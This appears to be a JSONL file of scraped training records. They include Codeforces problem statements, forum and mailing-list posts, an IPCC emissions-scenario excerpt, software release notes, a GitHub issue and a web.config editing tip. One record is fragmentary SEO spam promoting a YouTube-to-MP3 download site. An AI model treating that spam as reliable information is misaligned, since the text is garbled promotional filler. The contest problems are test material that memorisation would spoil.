"validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Recently I had a conversation with one of my colleagues regarding his organization’s loss of critical expertise.\nAs people started to move in and out of the company, valuable knowledge gaps appeared. In a statement of exasperation he asked, “Where have my experts gone?”\nTo address these gaps, the organization began hiring short term (6 months or less) expertise to perform specific duties. When these resources moved on the organization was back to square one. This lead him to ask, “How can we address this long term?”, “Where can we find experts to fill these positions long term?”, and… “How would you address this issue?”\nWell I guess this is the million dollar question.\nThe first task I told him I would do is to prioritize the areas that have experienced knowledge loss and, based on that, perform a knowledge audit of the area that has been identified as the highest priority. In addition, further knowledge audits should be scheduled for the remaining areas as his organization became more comfortable with executing knowledge audits. I did inform him that the knowledge audit will tell him what specific knowledge gaps exist, who the current knowledge holders are, and what percentage of knowledge is tacit, explicit, or both.\nUnderstanding if the knowledge gap is tacit, and the specifics of this tacit knowledge would help you determine the type of expertise you need to hire and for how long. In understanding if the knowledge is explicit, your key knowledge holders may have access to this knowledge somewhere in the organization (knowledge repository/portal, network folders, on the shelf, etc.), you may also have the ability to purchase this knowledge or perform research to document this knowledge. I also believe engaging the key knowledge holders when it comes to identifying the “right” personnel to bring in to fill key positions will start to address his concerns around where to find the experts he needs.\nI know this is just a start to address his problem. I would like to know what others believe he should do, and why. In this current economy it’s only a matter of time before all of our organizations start to face this same problem!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 425, "token_count_with_eod": 426, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Re: xf86config and Neomagic 256AV\n> I have tried to install XFree on potato but I couldn't find my video card.\n> I found a Neomagic MagicGraph 128 option, but mine is 256.\n> Which xserver should I use? I think it should be SVGA.\nYup, SVGA. There's no mention of NeoMagic in my XF86Config, so it must be\nautodetected (did grep -i, so no case variation either). I recommend 16 bpp, 24\nis quite slow.\n> Have somebody tried Framebuffer? Is it better than standard svga?\nIs there a NeoMagic framebuffer? I can't imagine it would be as fast.\n> And I don't know which horizontal or vertical refresh rates I have to set.\n> BTW, I have a thinkpad 390E.\nSorry, I can't help you there. Maybe the Linux Laptop pages? That's where I\ngot XF86Config for my Vaio.\nWelcome to the best software in the world today cafe!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 244, "token_count_with_eod": 245, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Database Administrators Meta\nto customize your list.\nmore stack exchange communities\nStart here for a quick overview of the site\nDetailed answers to any questions you might have\nDiscuss the workings and policies of this site\nBest way to handle dates prior to 1000 A.D. in MySQL?\nI am creating a database for records that extend prior to 1000 AD, but MySQL Date and DateTime fields only support dates starting at 1000. Is there a way that would be more convenient than either ...\nOct 21 '11 at 21:47\nnewest date-format best-practices questions feed\nHot Network Questions\nWhy the greenish tint in the Matrix trilogy?\nHow to fool the \"try some test cases\" heuristic: Algorithms that appear correct, but are actually incorrect\nUnderage but very valuable user on our site\nWhen is it wrong to look at previous exams?\nWhy don't the Doctors' companions speak Dinosaur?\nIs there a biological mechanism for evolution encoded into our DNA?\nWhat was Gandalf's motivation to help the dwarves with their quest?\nDoes Venice smell?\nThe existence of a 1-1 continuous map between two topological spaces.\nMoisture Sensitivity Level - More than one chip in sealed bag\nPossibly quit your job with a polyglot\nWhy should the generalization of a 'sequence' be called a 'net'?\nWhy should I prefer the \"explicitly typed initializer\" idiom over explicitly giving the type\nWhat is the Elo of a player who is half as good as another player?\nMultiply all numbers in a string\nShutdown Delay Program\nopenright sections in article class\nCan I use the word \"school\" when referring to something that belongs to a university?\nDeducting side work sole proprietorship expenses from regular employment earnings?\nStackOverflowError during recursive call\nFind all values of x that satisfy this basic inequality.\nHow can I stop dead grass clippings from accumulating on top of the live grass, and clogging the mower?\nUso della parola \"consultazione\"\nHow can I get a Morning Glory that was cut back to flower before the season's end?\nmore hot questions\nLife / Arts\nCulture / Recreation\nTeX - LaTeX\nUnix & Linux\nAsk Different (Apple)\nGeographic Information Systems\nScience Fiction & Fantasy\nSeasoned Advice (cooking)\nPersonal Finance & Money\nEnglish Language & Usage\nMi Yodeya (Judaism)\nCross Validated (stats)\nTheoretical Computer Science\nMeta Stack Exchange\nStack Overflow Careers\nsite design / logo © 2014 stack exchange inc; user contributions licensed under\ncc by-sa 3.0", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 572, "token_count_with_eod": 573, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "To celebrate his recovery, k1o0n has baked an enormous $$$n$$$ metres long potato casserole.\n\nTurns out, Noobish_Monk just can't stand potatoes, so he decided to ruin k1o0n's meal. He has cut it into $$$k$$$ pieces, of lengths $$$a_1, a_2, \\dots, a_k$$$ meters.\n\nk1o0n wasn't keen on that. Luckily, everything can be fixed. In order to do that, k1o0n can do one of the following operations:\n\n- Pick a piece with length $$$a_i \\ge 2$$$ and divide it into two pieces with lengths $$$1$$$ and $$$a_i - 1$$$. As a result, the number of pieces will increase by $$$1$$$;\n- Pick a slice $$$a_i$$$ and another slice with length $$$a_j=1$$$ ($$$i \\ne j$$$) and merge them into one piece with length $$$a_i+1$$$. As a result, the number of pieces will decrease by $$$1$$$.\n\nHelp k1o0n to find the minimum number of operations he needs to do in order to merge the casserole into one piece with length $$$n$$$.\n\nFor example, if $$$n=5$$$, $$$k=2$$$ and $$$a = [3, 2]$$$, it is optimal to do the following:\n\n1. Divide the piece with length $$$2$$$ into two pieces with lengths $$$2-1=1$$$ and $$$1$$$, as a result $$$a = [3, 1, 1]$$$.\n2. Merge the piece with length $$$3$$$ and the piece with length $$$1$$$, as a result $$$a = [4, 1]$$$.\n3. Merge the piece with length $$$4$$$ and the piece with length $$$1$$$, as a result $$$a = [5]$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 408, "token_count_with_eod": 409, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Why Our Team?\nJoin us if only you have the following desire on your head:\n- Self-motivated and able to thrive in a start-up culture.\n- Passionate to learn, grow and make your mark in the Hi-Tech Techno-domain.\n- Willing to explore the wonderland of Artificial Intelligence & its applications.\n- Eager to solve the problems which have a social impact around the globe.\n- Work for the creation of an inclusive society to get aware of other odd tracks.\n- Care more about freedom, culture, work environment to work with a cheerful mind.\n- Understand that patience, hard work, commitment, and persistence is the only way to achieve success.\n- Desire an ocean of opportunities to learn, grow, share and connect with like-minded people across the world.\n- Care about trust within the team and get due credit for the individual work and achievements.\n- Be a part of a diverse team including vary of genders, ideologies, survivors, colors, cast, religious belief, etc.\n- No dress code and Flexible leave policy.\n- Flexible timing and work from home option.\n- Flat organization structure with no hierarchy.\n- Virtual team bonding activities and online fun etc.\n- An awesome team that will challenge and respect you.\n- Freedom to choose your path of development and research.\n- Opportunity to showcase our research at international techie conferences.\nWhat we look for…?\n- Your expertise is your primary qualification, not your degree or certification.\n- Papers you have written, tools you have developed are your references.\n- Keen to learn new technologies in self-paced mode.\n- Passionate about your area of expertise and self-driven.\n- Your write-up reflects your interests and ethics.\n- Comfortable working in a dynamic and fast-paced work environment.\n- Communicate well using verbal and written skills, within and out of the team.\n- Work independently as well as within a team and meet project schedules and deadlines.\n- Your research papers were published and presented at conferences.\n- Skill to articulate and present technical things in business language.\nDidn’t find what you’re looking for?\nIf you’re interested in what we do. Let’s talk. We’re always open to undeniable talents of all zone.\nWe encourage our team members to experiment with new concepts, take complete responsibility and accountability to transform them into a value proposition. We understand that failures, success, innovation, and contribution to the community are all part of the process. We help our team members to pursue their chosen disciplines and mentor them to become experts.\nWrite to us at –\nNote: For the initial stage, we are taking the Interns only. So, kindly email us with the subject “Interns”. Further, we will pipeline the interviews for the Full-time Technical and Non-Technical Jobs.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Question: Non-cellular Apple Watch 3 - Music\nI'm looking into buying an Apple Watch Series 3, NON-cellular to use primarily as a fitness device. With Non-cellular can I download music and podcast to the watch itself? And go running without my phone and listen to playlists/podcasts on my run?\nApple Watch Series 3", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 73, "token_count_with_eod": 74, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Originally Posted by netllama\nNo, this was never a supported configuration. I'm afraid that if it worked in the past, you were lucky.\nIf you need to run multiple X servers, you'll need multiple GPUs.\nnonsense. i never had probs with that feature in the past.\nso if now comes to trouble, then nvidia changed the driver, period.\nworking like a charm on opensue with the NVIDIA-Linux-x86-100.14.09 driver and with ca. 50 or some of the previous drivers.\ni've at the moment running kde, gnome and xfce with different users logged in on 3 different instances of X. Of course the second and third instance of X must be started out of the first one. in my case out of kde.\nso much for being lucky.\ni got no problem with buying another nvidia card (i'll definetelly buy two of them together with a new pcie mobo, all for XEN), but with your statement i get the feeling you wanna fool your paying customers. sorry being offending, but that says my guts.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Open topic with navigation\nThe Vertex Map Math tool is a generalized tool that operates on multiple Vertex Maps. You can use it to scale values, compose maps in different ways, and convert map types. Specific examples include: generating a Weight Map from a U or V coordinate and making a Weight Map from the magnitude of a morph map. You can also create a map with the maximum, minimum, sum, or difference of two maps, or clear one map's entries based on the values in another map.\nWith the Vertex Map Math tool, you can make a formula for the destination (assuming Amount is 100%) similar to:\ndest = ((sourceA *scaleA) + offsetA) Operation ((sourceB *scaleB) + offsetB) with the operation being Add, Subtract, or similar operators.\nThe options for the Vertex Map Math tool are:\nDestination: Specifies the name of the destination Vertex Map. Modo creates a map if needed.\nAmount: Specifies the amount (as a percentage) of the computed value that goes into the dest, blended like alpha.\nOperation: Specifies the math operation used to combine the terms Source A and Source B.\nThen for each source (#):\nmap# - the vmap index\nscale# - a multiplier to apply to the offset vmap value: src# = scale# * (val# + offset#)\noffset# - an amount to add to the vmap value\nmode# - the way to deal with multi-dimensional vmap values. if src# is morf and dest is uv:\n\"Direct\" - copy direct component to component, so morf.x->uv.u, morf.y->uv.v\n\"Component\" - pick a single component (index#) so morf.index#->uv.u, morf.index#->uv.v\n\"Magnitude\" - The 'vector length' of the source vmap value\n\"Maximum\",\"Minimum\" - The max. or min. of the components of the source vector\nindex# - the component of the source map that is used\nYou can use this tool to make Weight Maps of morph magnitude, go between weights and UVs, invert vmaps, and so forth. The destination map can also be the source. If you do not specify a, the value is 0, but Modo applies the offset and scale values for a constant value term to be available.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 488, "token_count_with_eod": 489, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Recall that string $$$a$$$ is a subsequence of a string $$$b$$$ if $$$a$$$ can be obtained from $$$b$$$ by deletion of several (possibly zero or all) characters. For example, for the string $$$a$$$=\"wowwo\", the following strings are subsequences: \"wowwo\", \"wowo\", \"oo\", \"wow\", \"\", and others, but the following are not subsequences: \"owoo\", \"owwwo\", \"ooo\".\n\nThe wow factor of a string is the number of its subsequences equal to the word \"wow\". Bob wants to write a string that has a large wow factor. However, the \"w\" key on his keyboard is broken, so he types two \"v\"s instead.\n\nLittle did he realise that he may have introduced more \"w\"s than he thought. Consider for instance the string \"ww\". Bob would type it as \"vvvv\", but this string actually contains three occurrences of \"w\":\n\n- \"vvvv\"\n- \"vvvv\"\n- \"vvvv\"\n\nFor example, the wow factor of the word \"vvvovvv\" equals to four because there are four wows:\n\n- \"vvvovvv\"\n- \"vvvovvv\"\n- \"vvvovvv\"\n- \"vvvovvv\"\n\nNote that the subsequence \"vvvovvv\" does not count towards the wow factor, as the \"v\"s have to be consecutive.\n\nFor a given string $$$s$$$, compute and output its wow factor. Note that it is not guaranteed that it is possible to get $$$s$$$ from another string replacing \"w\" with \"vv\". For example, $$$s$$$ can be equal to \"vov\".", "source": "cpt_codeforces", "language": "en", "token_count": 362, "token_count_with_eod": 363, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Node.js Coding Assignments on CodeSubmit\nIdentify Top Node.js Candidates\nIdentify great candidates\nFind and hire the best Node.js developers for your team with Node.js take-home coding assessment tests. Our Node.js assignments simulate a real-world setting and uncover a candidate's true skill. Quickly and accurately identify qualified candidates and hire the right person for your open role.\nLooking for interview questions? Look no further! You can find a great selection of Node.js interview questions here.\nRisk-free Node.js coding assessments\nCodeSubmit helps you set up a Node.js coding test risk-free. Our take-home coding challenges are designed to give you real insights into candidate competencies and can’t be plagiarized. If you don't find the assessment you're looking for (though we're confident you will), just let us know and we'll work with you to create a completely custom assignment.\nCreate better hiring processes\nCreate an environment that makes it attractive for technical talent to apply to your company. By using well-designed Node.js take-home challenges, you'll improve your hiring processes and create a great candidate experience, even for candidates who aren't offered the job. Improve your glassdoor reviews while finding the best Node.js talent!\nHow it works\nCodeSubmit works for all types of companies, whether you’re already using take-home challenges or not. Send Node.js coding tasks to candidates and review their submissions in-app. Track their progress every step of the way. Collaborate with your entire team and reduce back-and-forth between HR and engineering. CodeSubmit facilitates a great technical hiring process and enables you to quickly identify the right candidates for your technical teams.\nReal tasks, not brainteasers.\nOur library of real-world tasks gives you an accurate measure of every candidate’s coding skills, whilst providing them with a fair and considerate interview experience.\n- Real engineering tasks:\n- With coding challenges that simulate real work, CodeSubmit is helping the best engineering teams hire faster, smarter, and more equitably.\n- Extensive Library:\n- Choose from hundreds of coding challenges, from junior to senior architect, covering all major programming languages and frameworks -- or upload your own.\n- Natural candidate experience:\n- Our innovative GIT-based workflow allows candidates to work on their own machines, with their own tools, and in their own time.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Figure 1-6: Range of global energy-related and industrial CO2 emissions for the 40 SRES scenarios. The dashed time-paths depict individual SRES scenarios and the shaded area the range of scenarios from the SRES database. The median (50th), 5th, and 95th percentiles of the frequency distribution are shown. The statistics associated with scenarios from the literature do not imply probability of occurrence (e.g., the frequency distribution of the scenarios may be influenced by the use of IS92a as a reference for many subsequent studies). The 40 SRES scenarios are classified into groups that constitute four scenario families. Jointly the scenarios span most of the range of the scenarios in the literature. The emissions profiles are dynamic, ranging from continuous increases to those that curve through a maximum and then decline. The colored vertical bars indicate the range of the four SRES scenario families in 2100. The black vertical bar shows the range of the IS92 scenarios. See also the note in Box 1.2.\nThe 40 SRES scenarios cover the full range of GHG and SO2 emissions consistent with the storylines and underlying ranges of driving forces from studies in the literature as documented in the SRES database. The four marker scenarios are characteristic of the four scenario families and jointly capture most of the ranges of emissions and driving forces spanned by the full set of scenarios. Figure 1-6 illustrates the range of global energy-related and industrial CO2 emissions for the 40 SRES scenarios against the background of all the emissions scenarios in the SRES scenario database shown in Figure 1-3. Figure 1-6 also shows a range of emissions of the four scenario families.\nFigure 1-6 shows that the SRES scenarios cover most of the range of global energy-related CO2 emissions from the literature, from the 95th percentile at the high end of the distribution down to low emissions just above the 5th percentile of the distribution. Thus, they only exclude the most extreme emissions scenarios found in the literature - those situated in the tails of the distribution. What is perhaps more important is that each of the four scenario families covers a sizable part of this distribution, which implies that a similar quantification of driving forces can lead to a wide range of future emissions. More specifically, a given combination of the main driving forces is not sufficient to uniquely determine a future emissions path. There are too many uncertainties. The fact that each of the scenario families covers a substantial part of the literature range also leads to an overlap in the emissions ranges of the four families. This implies that a given level of future emissions can arise from very different combinations of driving forces. This result is of fundamental importance for the assessment of climate-change impacts and possible mitigation and adaptation strategies. Thus, it warrants some further discussion. The emissions paths of the A1 and B2 scenario families perhaps best illustrate these implications.\nThe A1 scenario family has explored variations in energy systems most explicitly and hence covers the largest part of the scenario distribution shown in Figure 1-6, from the 95th to just above the 10th percentile. The A1 marker (A1B) scenario represents a structure of the future energy mix, balanced in the sense that it does not rely too heavily on one particular energy source. The A1 scenario family includes different groups of scenarios that explore different specific structures of future energy systems, from carbon-intensive development paths to high rates of decarbonization as captured by the two illustrative scenarios that span most of the emissions range for the A1 family. All groups otherwise share the same assumptions about the main driving forces. This indicates that different structures of the energy system can lead to basically the same variation in future emissions as can be generated by different combinations of the other main driving forces - population, economic activities and energy consumption levels. The implication is that decarbonization of energy systems - the shift from carbon-intensive to less carbon-intensive and carbon-free sources of energy - is of similar importance in determining the future emissions paths as other driving forces. Sustained decarbonization requires the development and successful diffusion of new technologies. Thus investments in new technologies during the coming decades might have the same order of influence on future emissions as population growth, economic development and levels of energy consumption taken together.\nFor example, the comparison of the A1B and B2 marker scenarios indicates that they have similar emissions of about 13.5 and 13.7 GtC by 2100, respectively. The dynamics of the paths are different so that they have different cumulative CO2 emissions. To facilitate such comparisons, the scenarios were grouped into four categories of cumulative emissions between 1990 and 2100. This categorization can guide comparisons using either scenarios with different driving forces yet similar emissions, or scenarios with similar driving forces but different emissions. This characteristic of SRES scenarios also has very important implications for the assessment of climate-change impacts, mitigation and adaptation strategies. Two future worlds with fundamentally different characteristic features, such as A1B and B2 marker scenarios, also have different cumulative CO2 emissions and radiative forcing, but very similar CO2 emissions in 2100. In contrast, scenarios that are in the same category of cumulative emissions can have fundamentally different driving forces and different CO2 emissions in 2100, but very similar cumulative emissions and radiative forcing. Presumably, adverse impacts and effective adaptation measures would vary among the scenarios from different families that share similar cumulative emissions but have different demographic, socio-economic and technological driving forces. This is another reason for considering the entire range of future emissions in future assessments of climate change. There is no single \"best guess\" or central scenario.\nThe SRES emissions scenarios also have different emissions for other GHGs and chemically active species such as carbon monoxide, nitrogen oxides, and volatile organic hydrocarbons. The emissions of other gases follow dynamic patterns much like those shown in Figure 1-6 for CO2 emissions. Further details about GHG emissions are given in Chapter 5. Emissions of sulfur aerosol precursors portray even more dynamic patterns in time and space than the CO2 emissions shown in Figure 1-6. Factors other than climate change, namely regional and local air quality, and transformations in the structure of the energy system and end use intervene to limit future emissions. In view of the significant adverse impacts, SO2 emissions in the scenarios are increasingly controlled outside countries of the OECD. As such the SRES scenarios reflect both recent legislation in North America and in Europe and recent policy initiatives in a number of developing countries aimed at reducing SO2 emissions (reviewed in more detail in Chapters 3 and 5). As a result, in the second half of the 21 st century both the trends and regional patterns of SO2 emissions evolve differently from those of CO2 emissions in the SRES scenarios. Emissions outside OECD90 rise initially, most notably in ASIA, and compensate for declining OECD90 emissions. Over the long term, however, SO2 emissions decline throughout the world, but the timing and magnitude vary across the scenarios. One important implication of this varying pattern of SO2 emissions is that the historically important, but uncertain negative radiative forcing of sulfate aerosols may decline in the very long run.\nAn important feature of the SRES scenarios is their implications for radiative forcing. A vigorous increase of global SO2 emissions during the next few decades across most of the scenarios followed by a decline thereafter will lead to a cooling effect that will differ from the effect that results from the continuously increasing SO2 emissions in the IS92 scenarios. On one hand, the reduction in global SO2 emissions reduces the role of sulfate aerosols in determining future climate toward the end of the 21st century and therefore reduces one aspect of uncertainty about future climate change (because the precise forcing effect of sulfate aerosols is highly uncertain). On the other hand, uncertainty increases because of the diversity in spatial patterns of SO2 emissions in the scenarios. Future assessments of possible climate change need to account for these different spatial and temporal dynamics of GHG and SO2 emissions, and they need to cover the whole range of radiative forcing associated with the scenarios.\nFigure 1-5: Schematic illustration of SRES scenarios. The set of scenarios consists of four scenario families: A1, A2, B1 and B2. Scenario family A1 is further subdivided into four scenario groups: A1C, A1G, A1B and A1T, (see also note below), resulting in seven scenario groups together with the other three scenario families. Each family and group consists of a number of scenarios. Some of them have \"harmonized\" driving forces and share the same prespecified population and gross world product (a few that also share common final energy trajectories are called \"fully harmonized\"). These are marked as \"HS\" for harmonized scenarios. One of the harmonized scenarios, originally posted on the open-process web site, is called a \"marker scenario.\" All other scenarios of the same family based on the quantification of the storyline chosen by the modeling team are marked as \"OS.\" Six modeling groups developed the set of 40 emissions scenarios. The GHG and SO2 emissions of the scenarios were standardized to share the same data for 1990 and 2000 on request of the user communities. The time-dependent standardized emissions were also translated into geographic distributions.\nNote: During the approval process of the Summary for Policymakers at the 5th Session of WGIII of the IPCC from 8-11 March 2000 in Katmandu, Nepal, it was decided to combine the A1C and A1G groups into one \"fossil intensive\" group A1FI in contrast to the non-fossil group A1T, and to select two illustrative scenarios from these two A1 groups to facilitate use by modelers and policy makers. This leads to six scenario groups that constitute the four scenario families, three of which are in the A1 family. These six groups all have \"illustrative scenarios,\" four of which are marker scenarios. All scenarios are equally sound. See also Figure SPM-1.\nOther reports in this collection", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2111, "token_count_with_eod": 2112, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Join GitHub today\nGitHub is home to over 28 million developers working together to host and review code, manage projects, and build software together.Sign up\nIP socket options may be applied to UDS upstream host connections #4175\nWhile investigating https://oss-fuzz.com/v2/testcase-detail/6542943040045056, @anirudhmurali and I figured out that we were applying IP socket option (specifically the\nWe can either flag this during config loading or silently ignore/warn at runtime as a resolution. I haven't done a deep dive yet into the code, but I think it might be the case that we don't know until something like EDS whether a host is IP or UDS (does EDS force IP only? can't remember). Could we have a mix of IP and UDS hosts in a cluster? @mattklein123\nTBH I don't remember. Someone will need to look at the code. I don't see any reason why EDS can't expose a UDS host or a mix of hosts.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 235, "token_count_with_eod": 236, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "We also participate in interdisciplinary programs in Information Assurance, Bioinformatics and Computational Biology, Human Computer Interaction and Ecology and Evolutionary Biology.\nAll the graduate programs have considerable flexibility to suit individual needs. The faculty has especially strong, active research groups in partial differential equations, applied mathematics, stochastic processes, functional analysis, combinatorics, algebra, control theory, and mathematical biology.\n- Mathematics (MS or PhD)\n- Applied Mathematics (MS or PhD)\n- School Mathematics (MSM)\n- Information Assurance (MS)\n- Bioinformatics and Computational Biology Program (PhD)\n- Human Computer Interaction (MS or PhD)\n- Ecology and Evolutionary Biology (MS and PhD)\n- International Admissions\n- International Education Services\n- Orientation Resources for International Students", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 158, "token_count_with_eod": 159, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "http://youtube-to-mp3.mlThat’s it! Now you've all favourite videos on your own unit Completely at no cost! Seize your MP3 file and revel in!Open the insert-on menu for your browser. Firefox features a \"marketplaces\" for different extensions that you can set up. Type about:addons to the handle bar. Click the \"Get Insert-ons\" tab if it isn't previo\nhttp://youtube-to-mp3.mlIt's possible you'll preview songs prior to download to check their correctness and top quality. Simply click the “Play” button prior to the track. сlick to enlargewikiHow Contributor You will find an application known as YouTube to MP3. Choose a music on YouTube; before the song starts off, suitable click on it (or Whe\nhttp://youtube-to-mp3.mlYou need to use extensions built to particularly download YouTube videos as MP3 information. If you do not have Firefox, you could download it at no cost or consider a unique method in this article.Open up the incorporate-on menu to your browser. Firefox has a \"marketplaces\" for a variety of extensions that you could put in.\nhttp://youtube-to-mp3.mlWhen the method starts off you will see the subsequent screen with The proportion of downloading. Usually it requires up to twenty seconds but When the server is overloaded or your Connection to the internet is gradual it might just take nearly 2-three min. Be sure to be patient and do not shut the window straight away.Ensur\nhttp://youtube-to-mp3.mlIn most cases, the music you will hear on a YouTube video can be an AAC stream of 128 to 192kbps – While YouTube suggests that video uploaders use a bitrate of 384kbps for stereo audio.wikiHow Contributor It is really not likely, but You cannot get in trouble for it. If just about anything, It could be the Internet sites t", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 400, "token_count_with_eod": 401, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You have a large electronic screen which can display up to $$$998244353$$$ decimal digits. The digits are displayed in the same way as on different electronic alarm clocks: each place for a digit consists of $$$7$$$ segments which can be turned on and off to compose different digits. The following picture describes how you can display all $$$10$$$ decimal digits:\n\nAs you can see, different digits may require different number of segments to be turned on. For example, if you want to display $$$1$$$, you have to turn on $$$2$$$ segments of the screen, and if you want to display $$$8$$$, all $$$7$$$ segments of some place to display a digit should be turned on.\n\nYou want to display a really large integer on the screen. Unfortunately, the screen is bugged: no more than $$$n$$$ segments can be turned on simultaneously. So now you wonder what is the greatest integer that can be displayed by turning on no more than $$$n$$$ segments.\n\nYour program should be able to process $$$t$$$ different test cases.", "source": "cpt_codeforces", "language": "en", "token_count": 223, "token_count_with_eod": 224, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "What's New in RMS 10?\nStruggling with poor data? Not confident in your model?\nWith RMS 10, you can capture uncertainty throughout the interpretation process, generate multiple realisations, and build accurate and robust models with less data and in less time.\nRMS 10, Emerson's leading reservoir modelling software, contains\n- new features and large enhancements (described in full in the Release Notes PDF document),\n- many small enhancements and fixes to satisfy client requests and client-reported issues (described in full in the Improvements and Fixes PDF document).\nAccess these PDF documents from the RMS menu bar (Help ? Release Notes).\nRMS 10 introduces new features and enhancements including, but not limited to, the following:\nPresentation, Flexibility and Usability\n- New Print or Export dialog box, replacing the Print dialog box of previous RMS versions, with which you can print, export and save multiple pages and views (see also Printing and Exporting Pages and Views).\n- Enhancements to the RMS Data Explorer, including data selection.\n- Standardised and improved format settings for display of date and time in the RMS user interface. The format applied can now be defined in the User Preferences dialog box (see also Setting User Preferences).\n- Introduced a standardised time player in all views, for playing time-varying data (see also The Time Player).\n- Introduced a standardised widget for selecting a grid region, in jobs where this is supported (see also Grid Region Selection). New options for grid region selection added.\n- Standardised and improved functionality for setting minimum and maximum values in Visual Settingdialog boxes (see for instance also Grid Parameter Visual Settings).\n- New unit sets have been added for supporting import and export from flow simulators (see also Setting Unit Sets).\n- New format for import of POWERS result files added to the Import dialog box for grid models (see also Grid Model Data Import).\n- Support for export of transmissibility multipliers in VIP Corp format added (see also Grid and Parameter Export).\n- Export of flow model events in VIP format is no longer supported and has been replaced by export in Nexus format (see also Events Export).\nWells and Logs\n- Changes to the RMS well model (see also The RMS Well Model).\nTrajectory types were hardcoded in previous versions of RMS. You can now have multiple trajectories based on surveys/points, or have RMS calculate trajectories based on a target, wellhead position or other constraints.\nThe type (Drilled or Planned) is no longer reflected in the trajectory name; you can rename trajectories, or tag them using the Role attribute from the RMS Data Explorer. For existing projects, the existing trajectory name is kept, and old types can still be viewed from the role attribute in the RMS Data Explorer.\n- RMS now supports generation of recurrent data for flow simulations, including well perforation and production data, through a new event model (see also Working with Events Data).\n- Performance and functionality improvements to Snap to Seismic (see also Snap To Seismic).\n- Investigate your seismic data during model driven interpretation with an effective new method using the Trace Viewer dialog box (see also The Trace Viewer).\n3D Grids and Property Modelling\n- Extract the trends inside facies bodies into separate continuous grid parameters using the new Extract Body Trends dialog box (see also Extracting Body Trends).\n- Grid segments can now be created using the new Create Grid Segments dialog box (see also Creating Grid Segments).\n- Local grids can now be created using the new Create Local Grids dialog box (see also Creating LGRs)\n- Composite parameters have been redesigned, with added functionality for better support for time-dependent parameters (see also Composite Parameters).\n- A new Profiles Table can be used to view data stored in a Profiles data object (see also Profiles Table).\n- The Roxar API, new for RMS 10, provides an interface into RMS petrotechnical data from the Python programming language. Utilise the Roxar API to customise RMS and multi-application workflows, visualise data in new ways, integrate private intellectual property, interoperate with other software, solve data management challenges, and more.\nAccess the Roxar API in stand-alone form or through RMS by using the Python job.\n- The example project, Emerald, can be used to explore most features in RMS; download the project from www.roxarsoftwareportal.com", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 919, "token_count_with_eod": 920, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The only difference between easy and hard versions is the maximum values of $$$n$$$ and $$$q$$$.\n\nYou are given an array, consisting of $$$n$$$ integers. Initially, all elements are red.\n\nYou can apply the following operation to the array multiple times. During the $$$i$$$-th operation, you select an element of the array; then:\n\n- if the element is red, it increases by $$$i$$$ and becomes blue;\n- if the element is blue, it decreases by $$$i$$$ and becomes red.\n\nThe operations are numbered from $$$1$$$, i. e. during the first operation some element is changed by $$$1$$$ and so on.\n\nYou are asked $$$q$$$ queries of the following form:\n\n- given an integer $$$k$$$, what can the largest minimum in the array be if you apply exactly $$$k$$$ operations to it?\n\nNote that the operations don't affect the array between queries, all queries are asked on the initial array $$$a$$$.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I've come across a number of issues in the past where the cause of the issue is that someone hand edited the web.config and resulted to a not well formed XML (missing tags, unclosed quotes et al).\nThe recommended way of doing it is to minimize these issues is to use the ASP.NET Configuration Settings Dialog which is available to IIS (not sure if there is a stand alone executable for this). Here are simple steps to do it.\n1. Open IIS\n2. Right Click on target site/virtual directory and select Properties\n3. The Properties dialog should show up. Select ASP.NET tab.\n4. At the ASP.NET tab, you should see and click Edit Configuration. (if you're opening Properties of a website, you should also see an \"Edit Global Configuration\" button which corresponds to the machine wide web.config). Doing so should display the Configuration Settings Dialog\n5. Make your modifications without fear of unclosed quotes whatsoever. You could likely still mess up some settings but I can assure you that it would be easier to do when you're manually hand editing the file.\nAlso note that when adding a web.config in Visual Studio (using Add New Item) you will get a comment somewhere at the top stating:\nNote: As an alternative to hand editing this file you can use the\nweb admin tool to configure settings for your application. Use\nthe Website->Asp.Net Configuration option in Visual Studio.\nA full list of settings and comments can be found in\nmachine.config.comments usually located in\nThe \"Website->Asp.Net Configuration option in Visual Studio\" mentioned are items in the toolbar and appears if you have the website project (or its files) open/selected (see image below)\nThis is also a recommended way of doing it for web site projects (not available in Web Application Projects).\nEditing web.config is likely inevitable for development but as much as possible I would recommend not hand-edit them unless you (or others in the team) really have to (especially for those with not much experience with XML/HTML - it is trivial but could minimize some headaches)\nUPDATE: I have updated the post title from \"Hand Editing web.config, not\" to \"Hand Editing web.config or not\" since it seems to make a big difference. I personally hand edit most if not all web.config I work with but this is merely an alternative based on experience where there are actually people out there guilty of messing the xml for a lot of reasons. Being an alternative it may or may not be best for all situations. Also, as a starting/budding developer it is sometimes (if not all the times) best to learn from mistakes so I am in no way against hand editing of files. However like gurus out there, be careful in doing as it 